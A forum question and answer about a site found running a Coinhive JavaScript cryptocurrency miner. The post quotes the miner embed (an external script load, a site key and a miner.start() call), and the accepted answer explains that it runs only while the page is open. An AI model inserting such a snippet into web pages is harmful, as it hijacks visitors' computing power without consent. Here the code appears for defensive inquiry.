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Site with a bitcoin miner script

rated 0 times [ 10] [ 6] / answers: 1 / hits: 23411 / 7 Years ago, thu, september 28, 2017, 12:00:00

I found some of my users visiting a site that seemed to have a Bitcoin mining JS script in its code:

<script src = hxxps://coin-hive.com/lib/coinhive.min.js></script><script>

var miner = new CoinHive.Anonymous('3858f62230ac3c915f300c664312c63f');

miner.start();

</script>

My question is, with this are the users still infected even if they navigate away from the page? Do these sort of programs only work while the user has the page open in the browser?

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answered 7 Years ago shekinah · Accepted Answer

with this are the users still infected even if they navigate away from
the page?

No

Do these sort of programs only work while the user has the page open
in the browser?

Yes, the script will only run on the website that includes it, while the page is open in the browser

UPGRADE:

More information about this script: https://coin-hive.com/

Coinhive offers a JavaScript miner for the Monero Blockchain (...) that you can embed in your website. Your users run the miner directly in their Browser

And https://coin-hive.com/documentation/miner

The miner runs until you explicitely stop it again or the user
navigates away.